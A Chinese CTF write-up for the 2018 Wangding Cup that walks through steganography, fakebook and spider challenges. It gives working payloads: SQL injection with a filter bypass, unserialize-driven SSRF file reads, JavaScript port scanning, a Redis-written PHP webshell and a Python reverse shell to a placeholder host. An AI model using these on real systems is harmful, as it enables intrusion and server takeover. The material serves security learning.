\"网鼎杯\"第一场Write up
2018-08-23 23:58:27

[toc] 太菜了,都是大佬们交的flag 图片.png 复现几道有意思的题

MISC

minified

Stegsolve打开图片,选择0通道发现是LSB隐写。 图片.png 分别把alpha,green和blue的0通道另存为再进行异或处理,最终在alpha和green的异或中发现flag。 图片.png

WEB

fakebook

访问robots.txt 图片.png 存在备份泄露,把user.php.bak下载下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

注册一个blog为http://www.baidu.com的用户,可以看到请求到的百度的资源,network上没有本地请求记录,即存在SSRF。可是在user.php中blog的正则匹配很严格。 view.php的no参数是可以注入的,过滤了union select用/**/可以绕过。 payload:view.php?no=-6 unIon/**/select 1,group_concat(no,'--',username,'--',passwd,'--',data),3,4 from users 图片.png 发现data是一个序列化的数据,报错中也可以看出用了unserialize()函数,另外可以看到报错的地方爆出了绝对路径。那么在这里我们就可以通过注入来控制反序列化,再利用 ssrf 读文件。 payload:/view.php?no=-6 unIon/**/select 1,2,3, 'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' 查看页面源代码可以看到data URI协议,点击即可getflag 图片.png 图片.png

spider

hint:动态爬虫,Redis Getshell。8000端口存在apache2 复现的时候环境坏了,爬虫好像不会工作了只能按着wp理一下思路。 图片.png 访问 robots.txt 发现存在 /get_sourcecode 文件,访问该URL提示 NOT 127.0.0.1 。 尝试伪造IP绕过,发现并不能,转换思路。首页的爬虫分析系统会执行 JS 代码,我们构造如下代码,利用ajax,通过服务器执行 JS代码来访问 /get_sourcecode 文件。

1
2
3
4
5
6
7
8
9
10
<script>
request = new XMLHttpRequest();
request.onreadystatechange = function(){
if (request.readyState===4 && request.status===200){
document.write("<a href=''>"+request.responseText+"</a>");
}
}
request.open("GET","http://127.0.0.1:80/get_sourcecode",true);
request.send();
</script>

当服务器执行 AJAX 请求后,会把返回结果存在 id 为 flag 的 a标签 中。 图片.png 拿到 get_sourcecode 源代码,具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from flask import Flask, request 
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json

app = Flask(__name__ , static_url_path='')

def proc_shell(cmd):
out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
fileno = out_temp.fileno()
proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
start_time = time.time()
while True:
if proc.poll() == None:
if time.time() - start_time > 30:
proc.terminate()
proc.kill()
proc.communicate()
out_temp.seek(0)
out_temp.close()
return
else:
time.sleep(1)
else:
proc.communicate()
out_temp.seek(0)
data = out_temp.read()
out_temp.close()
return data

def casperjs_html(url):
cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
cmd = cmd.split(' ')
stdout = proc_shell(cmd)
try:
result = json.loads(stdout)
links = result.get('resourceRequestUrls')
return links
except Exception, e:
return []

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
else:
f = request.files['file']
filename = str(uuid.uuid1()) + '.html'
basepath = os.path.dirname(__file__)
upload_path = os.path.join(basepath, 'static/upload/', filename)
content = f.read()
#hint
if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
return render_template('index.html', msg=u'Warning: 发现恶意关键字')
#hint
with open(upload_path, 'w') as f:
f.write(content)
url = 'http://127.0.0.1:80/upload/'+filename
links = casperjs_html(url)
links = '\n'.join(links)
if not links:
links = 'NULL'
links = 'URL: '+url+'\n'+links
return render_template('index.html', links=links)

@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
if request.method == 'GET':
ip = request.remote_addr
if ip != '127.0.0.1':
return 'NOT 127.0.0.1'
else:
with open(os.path.dirname(__file__)+'/[run.py](qq://txfile/#)') as f:
code = f.read()
return code
else:
return ''

@app.errorhandler(404)
def page_not_found(error):
return '404'

@app.errorhandler(500)
def internal_server_error(error):
return '500'

@app.errorhandler(403)
def unauthorized(error):
return '403'

if __name__ == '__main__':
pass

在第61行处发现 redis 关键字 dbfilename ,猜测题目存在 一个 redis 未授权访问,攻击思路应该是通过 redis 写马 getshell。我们先通过 JS 代码探测主机开放了哪些web端口。(这里有个小坑,通过 JS 代码并不能发现 redis 的端口6379是开放的,但是该端口确实是开放的。有人说 JS 代码只能探测Web类端口,在探测redis端口的时候回卡在等待界面,具体原因还需细究。) 通过JS端口探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<a id="result"></a>

<script>

var data = document.getElementById('result').innerHTML;
var TagName = document.getElementsByTagName("body")[0];
ports=[80,81,88,8000,8080,8088];

for(var i in ports){
var script = document.createElement("script");
poc = "data += '" + ports[i] + " OPEN; '; document.getElementById('result').innerHTML = data;"
script.setAttribute("src","http://127.0.0.1:" + ports[i]);
script.setAttribute("onload", poc);
TagName.appendChild(script);
}

</script>

图片.png 发现 8000端口开放 着,猜测可能运行着一个PHP 的Web服务。再次通过 JS 代码,操纵 redis 并写入 shell :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<a href="" id="flag">test</a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}

var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\n\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[_]);?>\n\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>

因为不同端口,所以存在跨域,需要加上Access-Control-Allow-Origin:* 头部。(或者直接PHP反弹SHELL也可以)然后再构造一个HTML。 接着构造 JS 代码访问我们构造的PHP文件即可获得flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=flag.php",true);
xmlhttp.send();
}
loadXMLDoc();
</script>

图片.png 直接反弹shell也可以,测试的时候发现直接用bash反弹不行,但是用python代码可以反弹回来,可能是题目环境限制了一些关键词。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"VPSIP\",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'`;",true)
xmlhttp.send();
}
loadXMLDoc();
</script>
Prev
2018-08-23 23:58:27
Next